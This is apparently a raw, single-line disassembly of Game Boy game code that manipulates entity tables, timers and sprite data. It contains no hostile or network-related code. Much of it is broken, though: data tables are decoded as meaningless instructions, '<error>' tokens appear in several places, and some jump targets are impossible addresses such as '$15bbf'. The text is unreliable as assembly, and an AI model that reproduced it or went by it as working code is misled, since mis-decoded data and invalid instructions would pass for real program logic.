[$ff00 + $ec] sub a, $05 ldh [$ff00 + $99], a call func_3b8d ld hl, $c440 add hl, bc ld [hl], $01 xor a ld [$d477], a ld a, $01 ldh [$ff00 + $b2], a call func_3dba ld de, $531a jp $3c3b ldh a, [$ff00 + $e7] rr a rr a rr a rr a and $01 ld [$c13b], a ldh a, [$ff00 + $f6] ld hl, $c3e0 add hl, bc ld [hl], a ldh a, [$ff00 + $98] ld hl, $c200 add hl, bc ld [hl], a ldh a, [$ff00 + $99] ld hl, $c210 add hl, bc add a, $05 ld [hl], a ld hl, $c310 add hl, bc ld [hl], b ld a, [$c11c] cp $02 jr nz, 0.l_5407 ldh a, [$ff00 + $a2] ld [hl], a jr 0.l_53c9 call func_3bd5 jr nc, 0.l_542b call func_094a call func_0942 ld a, [$c1a6] and a jr z, 0.l_542b ld e, a ld d, b ld hl, $c39f add hl, de ld a, [hl] cp $03 jr nz, 0.l_542b ld hl, $c28f add hl, de ld [hl], $00 ret ld b, $04 ld [bc], a nop ld hl, $c380 add hl, bc ld e, [hl] ld d, b ld hl, $542c add hl, de push hl ld hl, $c3d0 add hl, bc inc [hl] ld a, [hl] rr a rr a rr a rr a pop hl and $01 or [hl] jp $3b87 ld e, b ldh a, [$ff00 + $99] ld hl, $ffef sub a, [hl] add a, $14 cp $28 jr nc, 0.l_549d ldh a, [$ff00 + $98] ld hl, $ffee sub a, [hl] add a, $10 cp $20 jr nc, 0.l_549d inc e ldh a, [$ff00 + $eb] cp $6d jr z, 0.l_5478 push de call func_7a44 ldh a, [$ff00 + $9e] xor $01 cp e pop de jr nz, 0.l_549d ld hl, $c1ad ld [hl], $01 ld a, [$c19f] ld hl, $c14f or [hl] ld hl, $c146 or [hl] ld hl, $c134 or [hl] jr nz, 0.l_549d ld a, [$db9a] cp $80 jr nz, 0.l_549d ldh a, [$ff00 + $cc] and $10 jr z, 0.l_549d scf ret and a ret call func_0887 ld [hl], $c0 ld a, $18 ld [$d202], a ret ld hl, $c2d0 add hl, bc ld a, [hl] rst 0 cp b ld d, h ld [hl], l ld e, b inc a ld e, b cp a ld e, b call func_3f12 call func_580e ldh a, [$ff00 + $ea] cp $05 jr z, 0.l_5500 ld [$c1c6], a ld hl, $c2c0 add hl, bc ld a, [hl] rst 0 pop de ld d, h rst 18 ld d, h call func_0891 ld [hl], $ff ld hl, $c420 add hl, bc ld [hl], $ff jp .l_6294 call func_0891 jp z, .l_54f2 ld hl, $c420 add hl, bc ld [hl], a cp $80 jr nc, 0.l_54f1 call func_7476 ret call func_74ad ld hl, $c480 add hl, de ld [hl], $08 ret ldhl sp, d xor b ld [$cdf8], sp ld h, l ld a, c ld hl, $c300 add hl, bc ld a, [hl] and a jr z, 0.l_5554 and $3f jr nz, 0.l_5554 ld a, $65 ld e, $04 call func_3c13 jr c, 0.l_5586 ld hl, $c340 add hl, de ld [hl], $02 ld hl, $c350 add hl, de ld [hl], $80 ld hl, $c430 add hl, de ld [hl], $40 ld hl, $c2d0 add hl, de ld [hl], $01 ld hl, $c200 add hl, de ld a, [$d202] ld [hl], a add a, $20 ld [$d202], a cp $a8 jr c, 0.l_5546 ld a, $08 ld [$d202], a call func_27ed ld hl, $c3d0 add hl, de ld [hl], a ld hl, $c210 add hl, de ld [hl], $00 ld a, [$d201] inc a ld [$d201], a and $7f jr nz, 0.l_5586 ld a, $65 ld e, $04 call func_3c13 jr c, 0.l_5586 ld hl, $c340 add hl, de ld [hl], $41 ld hl, $c2d0 add hl, de ld [hl], $02 ldh a, [$ff00 + $d7] sub a, $14 ld hl, $c200 add hl, de ld [hl], a ldh a, [$ff00 + $d8] sub a, $04 ld hl, $c210 add hl, de ld [hl], a ld hl, $c360 add hl, bc ld a, [hl] cp $0a jr nc, 0.l_55e7 ld a, [$d201] add a, $40 and $ff jr nz, 0.l_55e7 ld a, $65 ld e, $04 call func_3c13 jr c, 0.l_55e7 ld hl, $c4d0 add hl, de ld [hl], d ld hl, $c340 add hl, de ld [hl], $02 ld hl, $c430 add hl, de ld [hl], d ld hl, $c360 add hl, de ld [hl], d ld hl, $c2d0 add hl, de ld [hl], $03 call func_27ed and $3f add a, $20 ld hl, $c210 add hl, de ld [hl], a push bc and $01 ld c, a ld hl, $54fc add hl, bc ld a, [hl] ld hl, $c200 add hl, de ld [hl], a ld hl, $54fe add hl, bc ld a, [hl] ld hl, $c240 add hl, de ld [hl], a ld hl, $c2e0 add hl, de ld [hl], $40 pop bc call func_08e2 ld hl, $c3d0 add hl, bc ld a, [hl] inc [hl] rr a rr a rr a rr a and $01 ld hl, $c3b0 add hl, bc ld [hl], a ldh a, [$ff00 + $ee] sub a, $10 ldh [$ff00 + $ee], a ldh a, [$ff00 + $ec] sub a, $10 ldh [$ff00 + $ec], a ld hl, $c350 add hl, bc ld [hl], $00 call func_3b65 call func_3beb call func_3dba ld hl, $c350 add hl, bc ld [hl], $14 call func_3b65 call func_3bbf ldh a, [$ff00 + $f0] rst 0 cpl ld d, [hl] ld l, [hl] ld d, [hl] xor b ld d, [hl] ld [$60f8], sp jr 0.l_55fd add a, a ld [$1520], sp call func_0891 ld [hl], $80 call func_3b8d call func_27ed and $1f add a, $60 ld hl, $c2b0 add hl, bc ld [hl], a ret ld hl, $c380 add hl, bc ld e, [hl] ld d, b ld hl, $562d add hl, de ldh a, [$ff00 + $ec] cp [hl] jr nz, 0.l_5660 ld a, e xor $01 ld hl, $c380 add hl, bc ld [hl], a ld hl, $562b add hl, de ld a, [hl] ld hl, $c250 add hl, bc ld [hl], a call func_79d4 ret ld hl, $c3d0 add hl, bc ld a, [hl] inc [hl] inc [hl] call func_0891 cp $60 jr nz, 0.l_5681 ld hl, $fff3 ld [hl], $0d jr nc, 0.l_56a7 ld hl, $c240 add hl, bc ld [hl], $d0 call func_79de ldh a, [$ff00 + $ee] cp $18 jr nc, 0.l_56a7 ld a, $30 ld [$c157], a xor a ld [$c158], a call func_08d7 ld hl, $c300 add hl, bc ld [hl], $ff call func_3b8d ret ld hl, $c3d0 add hl, bc ld a, [hl] inc [hl] ld a, [$c157] and a jr nz, 0.l_56d5 ld hl, $c240 add hl, bc ld [hl], $20 call func_79de ld hl, $c2b0 add hl, bc ldh a, [$ff00 + $ee] cp [hl] jr c, 0.l_56d5 call func_0887 call func_27ed and $1f add a, $40 ld [hl], a call func_3b8d ld [hl], b ret ldh a, [$ff00 + $f0] ld b, b nop ldh a, [$ff00 + $f8] ld b, d nop ldh a, [$ff00 + $00] ld b, h nop ldh a, [$ff00 + $08] ld b, [hl] stop ldh a, [$ff00 + $10] ld c, b stop ldh a, [$ff00 + $18] ld c, d stop nop ldh a, [$ff00 + $4c] nop nop ldhl sp, d ld c, [hl] nop nop nop ld d, b stop nop ld [$1052], sp nop stop ld d, h stop nop jr 0.l_575b stop nop jr nz, 0.l_5761 stop stop ldhl sp, d ld e, d stop stop nop ld e, h stop stop ld [$105e], sp stop stop ld h, b stop stop jr 0.l_577f stop stop jr nz, 0.l_5785 stop nop nop rst 38 nop ldh a, [$ff00 + $f0] ld h, [hl] nop ldh a, [$ff00 + $f8] ld b, d nop ldh a, [$ff00 + $00] ld b, h nop ldh a, [$ff00 + $08] ld b, [hl] stop ldh a, [$ff00 + $10] ld c, b stop ldh a, [$ff00 + $18] ld c, d stop nop ldh a, [$ff00 + $68] nop nop ldhl sp, d ld c, [hl] nop nop nop ld d, b stop nop ld [$1052], sp nop stop ld d, h stop nop jr 0.l_57ab stop nop jr nz, 0.l_57c3 stop stop ldhl sp, d ld e, d stop stop nop ld e, h stop stop ld [$105e], sp stop stop ld h, b stop stop jr 0.l_57cf stop stop jr nz, 0.l_57dd stop ldh a, [$ff00 + $18] ld c, d stop ldh a, [$ff00 + $08] ld b, [hl] stop ldh a, [$ff00 + $10] ld c, b stop ldh a, [$ff00 + $f8] ld b, d nop ldh a, [$ff00 + $00] ld b, h nop ldh a, [$ff00 + $f0] ld b, b nop nop jr nz, 0.l_57e5 stop nop ld [$1052], sp nop stop ld d, h stop nop jr 0.l_57ef stop nop ldhl sp, d ld c, [hl] nop nop nop ld d, b stop nop ldh a, [$ff00 + $4c] nop stop jr nz, 0.l_580d stop stop stop ld h, b stop stop jr 0.l_5813 stop stop nop ld e, h stop stop ld [$105e], sp stop ldhl sp, d ld e, d stop nop nop rst 38 nop ldh a, [$ff00 + $18] ld c, d stop ldh a, [$ff00 + $08] ld b, [hl] stop ldh a, [$ff00 + $10] ld c, b stop ldh a, [$ff00 + $f8] ld b, d nop ldh a, [$ff00 + $00] ld b, h nop ldh a, [$ff00 + $f0] ld h, [hl] nop nop jr nz, 0.l_5847 stop nop ld [$1052], sp nop stop ld d, h stop nop jr 0.l_583f stop nop ldhl sp, d ld c, [hl] nop nop nop ld d, b stop nop ldh a, [$ff00 + $68] nop stop jr nz, 0.l_5865 stop stop stop ld h, b stop stop jr 0.l_5863 stop stop nop ld e, h stop stop ld [$105e], sp stop ldhl sp, d ld e, d stop ldh a, [$ff00 + $f1] sla a sla a sla a sla a ld e, a sla a sla a add a, e ld e, a ld d, b ld hl, $56d6 ldh a, [$ff00 + $e7] and $01 jr z, 0.l_582c ld hl, $5772 add hl, de ld c, $13 call func_3d26 ld a, $13 call func_3dd0 ret ld [hl], d nop ld [hl], d jr nz, 0.l_584e jr c, 0.l_5897 call func_3cd0 call func_7965 ld hl, $c3d0 add hl, bc inc [hl] ld a, [hl] rr a rr a rr a and $01 call func_3b87 ld hl, $c3d0 add hl, bc ld a, [hl] and $30 jr z, 0.l_5865 ld hl, $c250 add hl, bc ld [hl], $f8 call func_79d4 ldh a, [$ff00 + $ec] cp $10 jp c, $7a6b ret ld [hl], h nop halt nop halt jr nz, 0.l_58e8 jr nz, 0.l_5887 ld l, l ld e, b call func_3c3b call func_7965 call func_08e2 ld hl, $c3d0 add hl, bc inc [hl] ld a, [hl] push af rr a rr a rr a rr a and $01 call func_3b87 call func_3bb4 pop af ld e, $fc and $10 jr z, 0.l_589d ld e, $04 ld hl, $c240 add hl, bc ld [hl], e ld hl, $c250 add hl, bc ld [hl], $0c call func_79d1 ldh a, [$ff00 + $ec] cp $8b jp nc, $7a6b ret ld a, b nop ld a, d nop ld a, h nop ld a, [hl] nop ld bc, $08ff ldhl sp, d ld hl, $c240 add hl, bc ld a, [hl] cpl rr a rr a and $20 ldh [$ff00 + $ed], a ld de, $58b3 call func_3c3b call func_7965 call func_08e2 ldh a, [$ff00 + $e7] rr a rr a rr a rr a and $01 call func_3b87 call func_3bb4 ldh a, [$ff00 + $e7] and $03 jr nz, 0.l_5909 ld hl, $c290 add hl, bc ld a, [hl] and $01 ld e, a ld d, b ld hl, $58bb add hl, de ld a, [hl] ld hl, $c250 add hl, bc add a, [hl] ld [hl], a ld hl, $58bd add hl, de cp [hl] jr nz, 0.l_5909 call func_3b8d call func_79d1 call func_0891 jr nz, 0.l_5918 ldh a, [$ff00 + $ee] cp $a8 jp nc, $7a6b ret rlc a nop rrc a rlc a ld e, $0f ccf jr 0.l_5961 stop ccf inc d ccf stop daa dec de ldh [$ff00 + $00], a ldh a, [$ff00 + $e0] jr 0.l_591f adc a, h ld a, b adc a, h ld [hl], b ccf ret nz rst 38 ld a, $ef pop af nop nop nop nop nop nop nop nop nop nop nop nop inc bc nop rlc a inc bc nop nop nop nop nop nop nop nop nop nop ccf nop rst 38 ld a, $ef pop af ld hl, $c430 add hl, bc ld a, [hl] and $7f ld [hl], a ld e, $0f ld d, b ld hl, $c280 add hl, de ld [hl], b dec e ld a, e cp $01 jr nz, 0.l_5964 ld a, [$d478] and a jr z, 0.l_5998 ld a, $05 call func_07b9 call func_5a3f ld hl, $c290 add hl, de ld [hl], $07 ld hl, $c2e0 add hl, de ld [hl], $60 ld a, $01 ldh [$ff00 + $a5], a call func_3b8d ld [hl], $04 ld a, $c0 ld [$c210], a ret ld a, $02 ldh [$ff00 + $a5], a ld [$d478], a call func_0891 ld [hl], $80 ld e, $0c xor a ld hl, $d790 ldi [hl], a dec e jr nz, 0.l_59aa ld a, $02 ld [$d205], a ld a, $5c ld [$d368], a ret stop ldh a, [$ff00 + $21] or b jp nz, .l_7e09 rst 0 ret ld e, c xor e ld e, d and e ld h, c dec d ld h, d ldh a, [$ff00 + $f0] rst 0 rst 10 ld e, c ld d, $5a halt ld e, d ld a, d ld e, d adc a, d ld e, d ret call func_5a99 ldh a, [$ff00 + $ea] cp $05 jr nz, 0.l_59d6 ld a, $02 ldh [$ff00 + $e8], a ld a, $63 call func_3c01 push bc ldh a, [$ff00 + $e8] ld c, a ld hl, $59b8 add hl, bc ldh a, [$ff00 + $d7] add a, [hl] ld hl, $c200 add hl, de ld [hl], a ldh a, [$ff00 + $d8] sub a, $10 ld hl, $c210 add hl, de ld [hl], a pop bc ld hl, $c2b0 add hl, de ld [hl], $02 ldh a, [$ff00 + $e8] dec a jr nz, 0.l_59e2 call func_0891 ld [hl], $43 jp $3b8d call func_5a99 call func_7965 ld a, $02 ldh [$ff00 + $a1], a call func_0891 and a jr z, 0.l_5a3a cp $20 jr nz, 0.l_5a75 ldh a, [$ff00 + $99] push af ld a, $10 ldh [$ff00 + $99], a ld a, $ba call func_2197 pop af ldh [$ff00 + $99], a ret ld a, $54 ld [$d368], a ld a, $63 call func_3c01 ld hl, $c360 add hl, de ld [hl], $0c ld hl, $c200 add hl, de ld [hl], $d0 ld hl, $c210 add hl, de ld [hl], $18 ld hl, $c2b0 add hl, de ld [hl], $01 ld hl, $c240 add hl, de ld [hl], $e0 ld hl, $c380 add hl, de ld [hl], $00 ld hl, $c2e0 add hl, de ld [hl], $80 call func_5b62 call func_3b8d ret ret call func_5a99 ret call func_5a99 call func_7965 call func_79d1 ld hl, $c250 add hl, bc inc [hl] inc [hl] ret ld hl, $c340 add hl, bc ld [hl], $c2 ret ld a, [hl] nop ld a, [hl] jr nz, 0.l_5b14 ld b, b ld a, [hl] ld h, b ld de, $5a91 call func_3c3b ret ld [bc], a ld [bc], a ld [bc], a nop ld bc, $0100 inc b inc b inc b inc b call func_613f ldh a, [$ff00 + $ea] cp $05 jp nz, .l_7d8d call func_7965 call func_08e2 ldh a, [$ff00 + $f0] cp $0e jr z, 0.l_5af7 ld hl, $c420 add hl, bc ld a, [hl] and a jr z, 0.l_5af7 ld hl, $c420 add hl, bc ld [hl], $50 call func_3daf call func_3b8d ld [hl], $0e ld a, $31 ldh [$ff00 + $f4], a ld hl, $c340 add hl, bc ld [hl], $42 ld hl, $c2d0 add hl, bc inc [hl] ld a, [hl] cp $08 jr nz, 0.l_5aec dec [hl] ld e, a ld d, b ld hl, $5aa0 add hl, de ld a, [hl] ld [$d205], a ret ldh a, [$ff00 + $f0] rst 0 jr 0.l_5b57 ld l, $5b ld [hl], h ld e, e sbc a, a ld e, e ret nc ld e, e <error> ld e, e dec d ld e, h ld e, e ld e, h inc sp ld e, l add a, h ld e, l add a, d ld e, [hl] <error> ld e, [hl] pop af ld e, [hl] ld h, d ld e, a ld [hl], e ld e, a call func_79d1 call func_0891 jr nz, 0.l_5b2d call func_3b8d call func_0891 ld [hl], $20 ld a, $ff call func_3b87 ret call func_0891 jr nz, 0.l_5b66 xor a call func_3b87 ld hl, $c210 add hl, bc ld a, [hl] add a, $14 ld [hl], a ld hl, $c240 add hl, bc ld a, [hl] cpl inc a ld [hl], a ld hl, $c380 add hl, bc ld a, [hl] xor $04 ld [hl], a ld hl, $c2c0 add hl, bc inc [hl] ld a, [hl] cp $02 jr z, 0.l_5b67 call func_3b8d ld [hl], b call func_0891 ld [hl], $80 ld a, $22 ldh [$ff00 + $f4], a ret call func_3b8d call func_0891 ld [hl], $30 ld a, $30 ldh [$ff00 + $f4], a ret call func_79d1 call func_0891 cp $01 jr nz, 0.l_5b83 ld hl, $fff2 ld [hl], $30 and a jr nz, 0.l_5b9e ld hl, $c240 add hl, bc inc [hl] jr nz, 0.l_5b9b call func_3b8d call func_0891 ld [hl], $40 ld hl, $c29e inc [hl] inc hl inc [hl] call func_5bbf ret ld a, $02 ldh [$ff00 + $a1], a call func_0891 jr nz, $15bbf ld [hl], $28 ld a, $d0 ld [$c250], a ld a, $24 ldh [$ff00 + $f2], a ld a, $12 ld [$c240], a ld hl, $c290 inc [hl] call func_3b8d ld hl, $c3d0 add hl, bc inc [hl] ld a, [hl] and $04 ld a, $01 jr z, 0.l_5bcc inc a call func_3b87 ret ld a, $02 ldh [$ff00 + $a1], a call func_0891 jr nz, 0.l_5beb ld a, $01 ldh [$ff00 + $a5], a ld [hl], $20 call func_3b8d ld hl, $c290 inc [hl] ld a, $c0 ld [$c210], a jp $5bbf ld bc, $0302 ld [bc], a ld a, $02 ldh [$ff00 + $a1], a call func_0891 jr nz, $15bfe call func_3b8d ld hl, $c3d0 add hl, bc inc [hl] ld a, [hl] rr a rr a rr a nop and $03 ld e, a ld d, b ld hl, $5bee add hl, de ld a, [hl] call func_3b87 ret call func_79d1 ld hl, $c240 add hl, bc ld a, [hl] cp $d4 jr nz, 0.l_5c42 ldh a, [$ff00 + $ee] and $f8 cp $c0 jr nz, 0.l_5c32 call func_3b8d call func_0891 ld [hl], $80 ret ldh a, [$ff00 + $e7] and $00 jr nz, 0.l_5c3d ld hl, $c250 add hl, bc dec [hl] xor a call func_3b87 ret dec [hl] dec [hl] call func_5bfe call func_5bfe jp $5bfe ldhl sp, d xor b jr nc, 0.l_5c21 jr nc, 0.l_5cc3 call c, func_f824 xor b jr nz, 0.l_5c39 inc b nop call func_0891 jr nz, 0.l_5caf ld a, [$d205] rst 0 ld l, [hl] ld e, h or b ld e, h ld [$ea5c], a ld e, h or b ld e, h call func_27ed and $03 ld [$d205], a ld e, $00 ldh a, [$ff00 + $98] cp $50 jr nc, 0.l_5c7f inc e ld d, b ld hl, $5c4d add hl, de ld a, [hl] ld hl, $c200 add hl, bc ld [hl], a ld hl, $5c4f add hl, de ld a, [hl] ld hl, $c240 add hl, bc ld [hl], a ld hl, $5c59 add hl, de ld a, [hl] ld hl, $c380 add hl, bc ld [hl], a ld hl, $c210 add hl, bc ld [hl], $00 ld hl, $c250 add hl, bc ld [hl], $20 call func_3b8d ld [hl], $08 ret ld e, $00 ldh a, [$ff00 + $98] cp $50 jr nc, 0.l_5cb9 inc e ld d, b ld hl, $5c51 add hl, de ld a, [hl] ld hl, $c200 add hl, bc ld [hl], a ld hl, $c240 add hl, bc ld [hl], b ld hl, $5c59 add hl, de ld a, [hl] ld hl, $c380 add hl, bc ld [hl], a ld hl, $c210 add hl, bc ld [hl], $f0 ld hl, $c250 add hl, bc ld [hl], $10 call func_3b8d ld [hl], $0b call func_0891 ld [hl], $30 ret call func_27ed and $01 ld e, a ld d, b ld hl, $5c55 add hl, de ld a, [hl] ld hl, $c200 add hl, bc ld [hl], a ld hl, $5c57 add hl, de ld a, [hl] ld hl, $c240 add hl, bc ld [hl], a ld hl, $c250 add hl, bc ld [hl], b ld hl, $5c59 add hl, de ld a, [hl] ld hl, $c380 add hl, bc ld [hl], a call func_27ed and $3f add a, $18 ld hl, $c210 add hl, bc ld [hl], a ldh a, [$ff00 + $9c] and a jr z, 0.l_5d28 ldh a, [$ff00 + $99] ld [hl], a call func_3b8d ld [hl], $0d call func_0891 ld [hl], $70 ret ld a, $01 call func_3b87 call func_79d1 ld hl, $c250 call func_5d48 ld a, [hl] and a jr z, 0.l_5d55 ld hl, $c240 add hl, bc ld a, [hl] and a jr z, 0.l_5d54 and $80 jr nz, 0.l_5d53 dec [hl] dec [hl] inc [hl] ret call func_3b8d call func_0891 ld [hl], $ff ret xor $12 ret nc jr nc, 0.l_5d73 ldh a, [$ff00 + $d8] call nc, func_ccd0 ret z call nz, func_bcc0 jr z, 0.l_5d9a jr nc, 0.l_5da4 jr c, 0.l_5dae ld b, b ld b, h jr nc, 0.l_5da4 inc l ldi a, [hl] jr z, 0.l_5da0 inc h ldi [hl], a jr nc, 0.l_5dac inc l ldi a, [hl] jr z, 0.l_5da8 inc h ldi [hl], a call func_0891 jp z, .l_5e77 ld hl, $c210 add hl, bc ldh a, [$ff00 + $e7] and $03 jr nz, 0.l_5d9d ldh a, [$ff00 + $e7] and $20 jr z, 0.l_5d9c inc [hl] inc [hl] dec [hl] call func_5bfe call func_5bfe ldh a, [$ff00 + $9c] and a jr nz, 0.l_5dd1 ld a, [$c146] and a jr z, 0.l_5dd1 ld hl, $c380 add hl, bc ld a, [hl] rr a rr a and $01 ld e, a ld d, b ld hl, $5d60 add hl, de ld a, [hl] ld hl, $ff9a sub a, [hl] and a jr z, 0.l_5dea and $80 jr nz, 0.l_5dcd inc [hl] inc [hl] inc [hl] inc [hl] dec [hl] dec [hl] jr 0.l_5dea ld hl, $c380 add hl, bc ld e, [hl] srl e srl e ld d, b ld hl, $5d5e add hl, de ld a, [hl] ldh [$ff00 + $9a], a push bc call func_20e0 call func_3e49 pop bc ld a, [$d210] inc a cp $22 jr c, 0.l_5df7 ld a, $32 ldh [$ff00 + $f4], a xor a ld [$d210], a call func_0891 cp $c0 jr nc, 0.l_5e76 ldh a, [$ff00 + $e7] and $0f jr nz, 0.l_5e76 ld a, $63 ld e, $03 call func_3c13 jr c, 0.l_5e76 ld hl, $c2b0 add hl, de ld [hl], $03 push bc ld hl, $c380 add hl, bc ld c, [hl] srl c srl c ld hl, $5d62 add hl, bc ldh a, [$ff00 + $d7] add a, [hl] ld hl, $c200 add hl, de ld [hl], a ldh a, [$ff00 + $d8] ld hl, $c210 add hl, de add a, $0c ld [hl], a ld hl, $c3b0 add hl, de ld a, c xor $01 ld [hl], a ld hl, $c380 add hl, de ld [hl], a sla c sla c sla c call func_27ed and $07 add a, c ld c, a ld hl, $5d74 add hl, bc ld a, [hl] ld hl, $c250 add hl, de ld [hl], a ld hl, $5d64 add hl, bc ld a, [hl] ld hl, $c240 add hl, de ld [hl], a pop bc ld hl, $c340 add hl, de ld [hl], $02 ld hl, $c430 add hl, de ld [hl], $00 ld hl, $c4d0 add hl, de ld [hl], $02 ret call func_3b8d call func_0891 ld [hl], $50 ret ldh [$ff00 + $20], a call func_79d1 call func_0891 jr z, 0.l_5ec0 ld hl, $c380 add hl, bc ld a, [hl] rr a rr a and $01 ld e, a ld d, b ld hl, $5e80 add hl, de ld a, [hl] ld hl, $c240 add hl, bc sub a, [hl] and a jr z, 0.l_5eb0 and $80 jr nz, 0.l_5ea8 inc [hl] inc [hl] dec [hl] call func_5bfe call func_5bfe ret xor a call func_3b87 ldh a, [$ff00 + $e7] and $01 jr nz, 0.l_5ebf ld hl, $c250 add hl, bc dec [hl] ret ld hl, $c340 add hl, bc ld [hl], $02 call func_3b8d ld [hl], $07 call func_0891 ld a, [$d205] cp $04 jr nz, 0.l_5ed8 ld [hl], $10 ret ld [hl], $80 ret call func_79d1 call func_0891 jr nz, 0.l_5eeb ld [hl], $30 call func_3b8d call func_3daf call func_5bfe ret ldh [$ff00 + $20], a call func_79d1 call func_0891 jr nz, 0.l_5f33 ldh a, [$ff00 + $ec] cp $b0 jp nc, .l_5ec0 ld a, $01 call func_3b87 ld a, [$c13e] and a jr nz, 0.l_5f32 call func_3bb4 ld a, [$c13e] and a jr z, 0.l_5f32 ld a, $10 ld [$c13e], a ld hl, $c380 add hl, bc ld e, [hl] srl e srl e ld d, b ld hl, $5eef add hl, de ld a, [hl] ldh [$ff00 + $9a], a ld a, $f0 ldh [$ff00 + $9b], a ld hl, $ff99 dec [hl] ret cp $01 jr nz, 0.l_5f51 ld hl, $c380 add hl, bc ld e, [hl] srl e srl e ld d, b ld hl, $5c53 add hl, de ld a, [hl] ld hl, $c240 add hl, bc ld [hl], a ld hl, $c250 add hl, bc ld [hl], $34 call func_5bfe call func_0891 cp $40 jr nc, 0.l_5f61 call func_5bfe call func_5bfe ret xor a call func_3b87 call func_79d1 call func_3bb4 call func_0891 jp z, .l_5ec0 ret ld hl, $c420 add hl, bc ld a, [hl] and a jr z, 0.l_5f8d cp $30 jr nc, 0.l_5f8c dec a jr nz, 0.l_5f86 ld a, $31 ldh [$ff00 + $f4], a call func_5bfe call func_5bfe ret call func_5bfe call func_5bfe call func_5bfe ld hl, $c250 add hl, bc ld a, [hl] cp $d0 jr z, 0.l_5fa0 dec [hl] call func_79d1 ldh a, [$ff00 + $ec] and $f0 cp $c0 jr nz, 0.l_5fae jp .l_5ec0 ret nop nop ld b, b nop nop ld [$0042], sp nop stop ld b, h nop ldhl sp, d jr 0.l_6004 nop ldhl sp, d jr nz, 0.l_600a nop ldhl sp, d jr z, 0.l_6010 nop ld [$4c18], sp nop ld [$4e20], sp nop ld [$5028], sp nop nop jr nc, 0.l_6028 nop rst 38 rst 38 rst 38 rst 38 rst 38 rst 38 rst 38 rst 38 nop nop ld b, b nop nop ld [$0042], sp nop stop ld e, d nop nop jr 0.l_604a nop nop jr nz, 0.l_6050 nop stop ld [$0060], sp stop stop ld h, d nop stop jr 0.l_6062 nop stop jr nz, 0.l_6068 nop ldh a, [$ff00 + $18] ld d, h nop ldh a, [$ff00 + $20] ld d, [hl] nop ldh a, [$ff00 + $28] ld e, b nop nop nop ld b, b nop nop ld [$0042], sp nop stop ld e, d nop nop jr 0.l_6086 nop nop jr nz, 0.l_608c nop stop ld [$0060], sp stop stop ld h, d nop stop jr 0.l_6092 nop stop jr nz, 0.l_6098 nop rst 38 rst 38 rst 38 rst 38 rst 38 rst 38 rst 38 rst 38 rst 38 rst 38 rst 38 rst 38 nop nop ld b, b nop nop ld [$0042], sp nop stop ld l, h nop nop jr 0.l_60bc nop nop jr nz, 0.l_60c2 nop stop ld [$0060], sp stop stop ld [hl], d nop stop jr 0.l_60d2 nop stop jr nz, 0.l_60d8 nop rst 38 rst 38 rst 38 rst 38 rst 38 rst 38 rst 38 rst 38 rst 38 rst 38 rst 38 rst 38 nop ld [$2040], sp nop nop ld b, d jr nz, 0.l_6078 ldhl sp, d ld b, h jr nz, 0.l_6074 ldh a, [$ff00 + $46] jr nz, 0.l_6078 add sp, d ld c, b jr nz, 0.l_607c ldh [$ff00 + $4a], a jr nz, 0.l_6090 ldh a, [$ff00 + $4c] jr nz, 0.l_6094 add sp, d ld c, [hl] jr nz, 0.l_6098 ldh [$ff00 + $50], a jr nz, 0.l_6094 ret c ld d, d jr nz, 0.l_6097 rst 38 rst 38 rst 38 rst 38 rst 38 rst 38 rst 38 nop ld [$2040], sp nop nop ld b, d jr nz, 0.l_60a8 ldhl sp, d ld e, d jr nz, 0.l_60ac ldh a, [$ff00 + $5c] jr nz, 0.l_60b0 add sp, d ld e, [hl] jr nz, 0.l_60c4 nop ld h, b jr nz, 0.l_60c8 ldhl sp, d ld h, d jr nz, 0.l_60cc ldh a, [$ff00 + $64] jr nz, 0.l_60d0 add sp, d ld h, [hl] jr nz, 0.l_60b4 ldh a, [$ff00 + $54] jr nz, 0.l_60b8 add sp, d ld d, [hl] jr nz, 0.l_60bc ldh [$ff00 + $58], a jr nz, 0.l_60d0 ld [$2040], sp nop nop ld b, d jr nz, 0.l_60d8 ldhl sp, d ld e, d jr nz, 0.l_60dc ldh a, [$ff00 + $68] jr nz, 0.l_60e0 add sp, d ld l, d jr nz, 0.l_60f4 nop ld h, b jr nz, 0.l_60f8 ldhl sp, d ld h, d jr nz, 0.l_60fc ldh a, [$ff00 + $64] jr nz, 0.l_6100 add sp, d ld h, [hl] jr nz, 0.l_60f3 rst 38 rst 38 rst 38 rst 38 rst 38 rst 38 rst 38 rst 38 rst 38 rst 38 rst 38 nop ld [$2040], sp nop nop ld b, d jr nz, 0.l_6108 ldhl sp, d ld l, h jr nz, 0.l_610c ldh a, [$ff00 + $6e] jr nz, 0.l_6110 add sp, d ld [hl], b jr nz, 0.l_6124 nop ld h, b jr nz, 0.l_6128 ldhl sp, d ld [hl], d jr nz, 0.l_612c ldh a, [$ff00 + $74] jr nz, 0.l_6130 add sp, d halt jr nz, 0.l_6123 rst 38 rst 38 rst 38 rst 38 rst 38 rst 38 rst 38 rst 38 rst 38 rst 38 rst 38 inc e inc e ld [$140c], sp stop stop stop <error> inc e ld [$fc0c], sp stop stop stop ld hl, $c380 add hl, bc ldh a, [$ff00 + $f1] add a, [hl] ld hl, $5faf cp $04 jr c, 0.l_6152 sub a, $04 ld hl, $606f ld e, a ld d, b sla e sla e sla e sla e ld a, e sla e add a, e ld e, a add hl, de ld c, $0c call func_3d26 ld a, $0a call func_3dd0 ld e, $00 ldh a, [$ff00 + $f1] and a jr z, 0.l_6175 ld e, $04 ld hl, $c380 add hl, bc ld a, [hl] and a jr z, 0.l_6181 ld a, e add a, $08 ld e, a ld d, b ld hl, $612f add hl, de push hl pop de push bc sla c sla c ld hl, $d580 add hl, bc ld c, $04 ld a, [de] inc de ldi [hl], a dec c jr nz, 0.l_6193 pop bc ret ld a, h nop ld a, h jr nz, 0.l_621c ld b, b ld a, h ld h, b ld a, $02 ldh [$ff00 + $a1], a ld de, $619b call func_3c3b call func_7965 ldh a, [$ff00 + $e7] rr a rr a rr a and $01 call func_3b87 ldh a, [$ff00 + $f0] rst 0 pop bc ld h, c and $61 ld hl, $c210 add hl, bc ld e, $07 call func_61d0 ld hl, $c200 add hl, bc ld e, $00 ldh a, [$ff00 + $e7] add a, e ld d, a and $03 jr nz, 0.l_61e5 ld a, d rr a rr a rr a rr a xor c and $01 jr z, 0.l_61e4 inc [hl] inc [hl] dec [hl] ret call func_79d1 ld hl, $c240 add hl, bc ld a, [hl] cp $c0 jr z, 0.l_61f3 dec [hl] ld hl, $c250 add hl, bc ld a, [hl] cp $f0 jr z, 0.l_61fd dec [hl] ldh a, [$ff00 + $ee] cp $e0 jp nc, $7a6b ret ld a, d jr nz, 0.l_6280 jr nz, 0.l_6282 nop ld a, d nop ld a, d ld h, b ld a, b ld h, b ld a, b ld b, b ld a, d ld b, b ld de, $6205 